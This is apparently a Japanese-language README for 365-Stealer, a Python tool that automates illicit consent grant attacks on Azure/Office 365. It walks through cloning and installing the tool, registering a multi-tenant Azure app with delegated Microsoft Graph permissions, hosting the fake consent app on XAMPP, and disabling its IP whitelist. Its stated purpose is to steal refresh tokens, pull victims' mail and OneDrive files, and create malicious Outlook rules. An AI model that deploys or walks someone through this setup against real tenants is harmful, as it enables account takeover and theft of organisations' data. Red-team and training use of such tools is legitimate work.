
Azure/O365 テナントに対する不正な同意付与攻撃を自動化し、リフレッシュトークンを窃取、メール/OneDrive データを流出させ、CLI および Web 管理ポータルを介して悪意のある Outlook ルールを作成します。
365-Stealer は、不正な同意付与攻撃(Illicit Consent Grant Attack)を自動化するために設計されたPython3ベースのツールです。ターゲットユーザーが知らずに攻撃者のアプリケーションに権限を付与すると、攻撃者は被害者の更新トークン(refresh token)を取得します。この更新トークンは他のトークンを生成するために使用でき、被害者のメール、OneDrive上のファイル、メモなどの機密データにアクセスできます。手動でこの攻撃を実行するのは時間がかかりますが、365-Stealerはプロセスを簡素化し自動化します。
不正同意付与攻撃は、攻撃者がAzure内に悪意のあるアプリケーションを登録し、連絡先、メール、ドキュメントなどの機密データへのアクセスを要求する攻撃です。攻撃者はユーザーをだましてアプリに同意させ、通常は正当なアプリに見せかけます。被害者が「同意する」をクリックすると、知らないうちに攻撃者にアクセスを許可し、攻撃者は組織の資格情報を必要とせずに被害者に代わって行動できるようになります。
より明確に説明すると、ユーザーが権限を付与すると、Entra IDは攻撃者のサーバーにトークンを送信します。このトークンにより、攻撃者は被害者の資格情報を使用してメールの読み取り、メールの送信、OneDrive上のファイルへのアクセス、その他の悪意のあるアクティビティを実行できます。パスワードを盗むフィッシング攻撃とは異なり、不正同意付与攻撃は認証をまったくバイパスし、クラウドアプリケーションの権限システムを悪用します。
--run-appコマンドを使用して、端末から、または365-Stealer管理ポータルを介して、不正同意付与攻撃を実行するための偽のアプリケーションをホストできます。--no-stealingフラグを使用すると、トークンのみを窃取し、それ以上のアクションは行わず、後で悪用できます。--refresh-token、--client-id、--client-secretフラグを使用して、新しいアクセストークンを簡単に取得できます。--app-registrationフラグにより、Azureアプリ登録プロセスが自動化され、手動介入なしで攻撃インフラストラクチャのセットアップが容易になります。--custom-stealフラグを使用して、OneDrive、Outlookなどの特定のソースからデータを選択的に窃取できます。提供されたPythonスクリプトを使用してAzureにアプリケーションを自動登録するには、次の手順に従います。
マシンにPython3がインストールされていることを確認します。
365-Stealerリポジトリをクローンします:
git clone https://github.com/AlteredSecurity/365-Stealer.git
cd 365-Stealer
必要なPythonモジュールをインストールします:
pip install -r requirements.txt
自動Azureアプリ登録スクリプトを実行します:
python 365-Stealer.py --app-registration
Azureアプリケーションを手動で登録する場合は、次の手順に従います。
https://portal.azure.com にアクセスし、アカウントにサインインします。アプリの登録 をクリックします。新規登録 をクリックして、新しいアプリケーションの登録を開始します。任意の組織ディレクトリ内のアカウント (任意のMicrosoft Entra IDテナント - マルチテナント) を選択します。https://<ドメイン/IP>:<ポート>/login/authorized とし、ドメインまたはIPは365-Stealerアプリケーションをホストする場所に対応します。登録 をクリックしてアプリケーションを作成します。
証明書とシークレット セクションに移動します。新しいクライアントシークレット をクリックし、シークレットの説明を入力してから「追加」をクリックします。
APIのアクセス許可 タブをクリックします。アクセス許可の追加 をクリックして、必要な権限の選択を開始します。Microsoft Graph を選択します。委任されたアクセス許可 をクリックして、サインインしたユーザーに代わって動作する権限を割り当てます。
365-Stealerリポジトリをクローン:
git clone https://github.com/AlteredSecurity/365-Stealer.git
必要なアプリケーションをインストール:
ファイルを抽出して保存:
C:\xampp\htdocs\ にコピーして配置します。これによりPHPアプリケーションをホストし、Pythonを実行できます。Python依存関係をインストール: 次のコマンドを実行して、必要なPythonライブラリをインストールします。
cd C:\xampp\htdocs\365-Stealer
pip install -r requirements.txt
追加のセットアップ手順に従う: 必要なアプリケーションと依存関係をインストールした後、yoursVictims/Readme.md ファイルにある手順を必ず実行してください。このファイルでは、365-Stealerが正しく機能するために必要なデータベースとテーブルのセットアップ方法が説明されています。
スクリプトパスを調整:
C:/xampp/htdocs/yourvictims/ にあるindex.phpファイル内の 365-Stealer.py、データベース、python3のパスを変更します。
ファイルパス内のスペースの処理:
"C:/Program Files/Python/python.exe"
デフォルトのホワイトリスト:
リモートIPの追加:
IPホワイトリストの無効化:
$enableIpWhiteList = false; を設定します。